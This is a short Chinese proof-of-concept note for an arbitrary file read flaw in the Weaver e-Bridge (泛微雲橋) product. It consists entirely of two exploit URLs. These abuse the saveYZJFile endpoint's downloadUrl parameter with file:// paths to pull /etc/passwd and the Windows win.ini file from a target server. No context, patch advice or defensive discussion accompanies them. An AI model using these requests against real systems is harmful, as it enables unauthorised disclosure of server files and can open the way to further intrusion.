泛微雲橋任意文件讀取漏洞

POC

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt 

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt